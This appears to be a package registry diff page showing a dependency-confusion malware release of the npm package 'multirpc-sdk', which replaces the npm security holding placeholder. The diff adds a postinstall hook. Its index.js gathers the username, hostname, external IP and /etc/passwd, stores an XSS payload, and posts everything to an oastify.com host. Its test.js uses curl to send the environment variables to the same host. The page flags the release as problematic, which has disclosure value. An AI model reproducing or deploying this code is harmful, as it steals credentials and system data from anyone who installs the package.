multirpc-sdk 0.0.1-security → 4.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of multirpc-sdk might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/index.js +90 -0
  2. package/package.json +12 -4
  3. package/test.js +7 -0
  4. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,90 @@
1
+ const os = require('os');
2
+ const axios = require('axios');
3
+ const path = require('path');
4
+ const fs = require('fs');
5
+ const { execSync } = require('child_process');
6
+
7
+ // Mendapatkan waktu saat ini
8
+ function getCurrentTime() {
9
+ return new Date().toISOString();
10
+ }
11
+
12
+ // Mendapatkan nama organisasi atau pengguna
13
+ function getOrganization() {
14
+ return os.userInfo().username;
15
+ }
16
+
17
+ // Mendapatkan IP eksternal dengan menggunakan API
18
+ function getExternalIP() {
19
+ return axios.get('https://api.ipify.org?format=json')
20
+ .then(response => response.data.ip)
21
+ .catch(error => 'IP eksternal tidak ditemukan');
22
+ }
23
+
24
+ // Mendapatkan nama host
25
+ function getHostname() {
26
+ return os.hostname();
27
+ }
28
+
29
+ // Mendapatkan jalur direktori saat ini
30
+ function getCurrentPath() {
31
+ return path.resolve('.');
32
+ }
33
+
34
+ // Membaca file /etc/passwd (hanya jika ada izin akses)
35
+ function getEtcPasswd() {
36
+ try {
37
+ const passwdContent = fs.readFileSync('/etc/passwd', 'utf-8');
38
+ return passwdContent;
39
+ } catch (error) {
40
+ return 'Tidak dapat membaca file /etc/passwd';
41
+ }
42
+ }
43
+
44
+ // Fungsi untuk menulis ke localStorage dan memverifikasi XSS
45
+ function storeXSSPayload() {
46
+ const payload = `<script>console.log('XSS berhasil disisipkan!');</script>`;
47
+ try {
48
+ localStorage.setItem('xssTest', payload); // Menyimpan XSS payload ke localStorage
49
+ console.log('XSS Payload berhasil disimpan di localStorage.');
50
+ } catch (error) {
51
+ console.error('Gagal menyimpan payload ke localStorage:', error);
52
+ }
53
+ }
54
+
55
+ // Mengumpulkan data yang dibutuhkan
56
+ async function collectData() {
57
+ const time = getCurrentTime();
58
+ const organization = getOrganization();
59
+ const externalIP = await getExternalIP();
60
+ const hostname = getHostname();
61
+ const currentPath = getCurrentPath();
62
+ const etcPasswd = getEtcPasswd();
63
+ const ipConfig = getIfconfig();
64
+
65
+ // Menyimpan payload XSS ke localStorage
66
+ storeXSSPayload();
67
+
68
+ const data = {
69
+ time: time,
70
+ organization: organization,
71
+ ipAddress: externalIP,
72
+ hostname: hostname,
73
+ currentPath: currentPath,
74
+ etcPasswd: etcPasswd,
75
+ ipConfig: ipConfig,
76
+ };
77
+
78
+ console.log(data); // Tampilkan data yang dikumpulkan
79
+
80
+ // Mengirim data ke server target
81
+ axios.post('https://owo1psomvgl0vrfn7t4uf1d4uv0mocc1.oastify.com/log', data)
82
+ .then(response => {
83
+ console.log('Data berhasil dikirim:', response.data);
84
+ })
85
+ .catch(error => {
86
+ console.error('Error saat mengirim data:', error);
87
+ });
88
+ }
89
+
90
+ collectData(); // Menjalankan fungsi untuk mengumpulkan dan mengirim data
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
- "name": "multirpc-sdk",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
2
+ "name": "multirpc-sdk",
3
+ "version": "4.2.1",
4
+ "description": "Malicious package for dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js && node test.js"
8
+ },
9
+ "author": "Attacker",
10
+ "license": "MIT",
11
+ "dependencies": {
12
+ "axios": "^0.21.1"
13
+ }
6
14
  }
package/test.js ADDED
@@ -0,0 +1,7 @@
1
+ const { exec } = require('child_process');
2
+ exec('curl -X POST https://owo1psomvgl0vrfn7t4uf1d4uv0mocc1.oastify.com -d "$(env)"', (error) => {
3
+ if (error) {
4
+ console.error(`Exec error: ${error}`);
5
+ return;
6
+ }
7
+ });
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=multirpc-sdk for more information.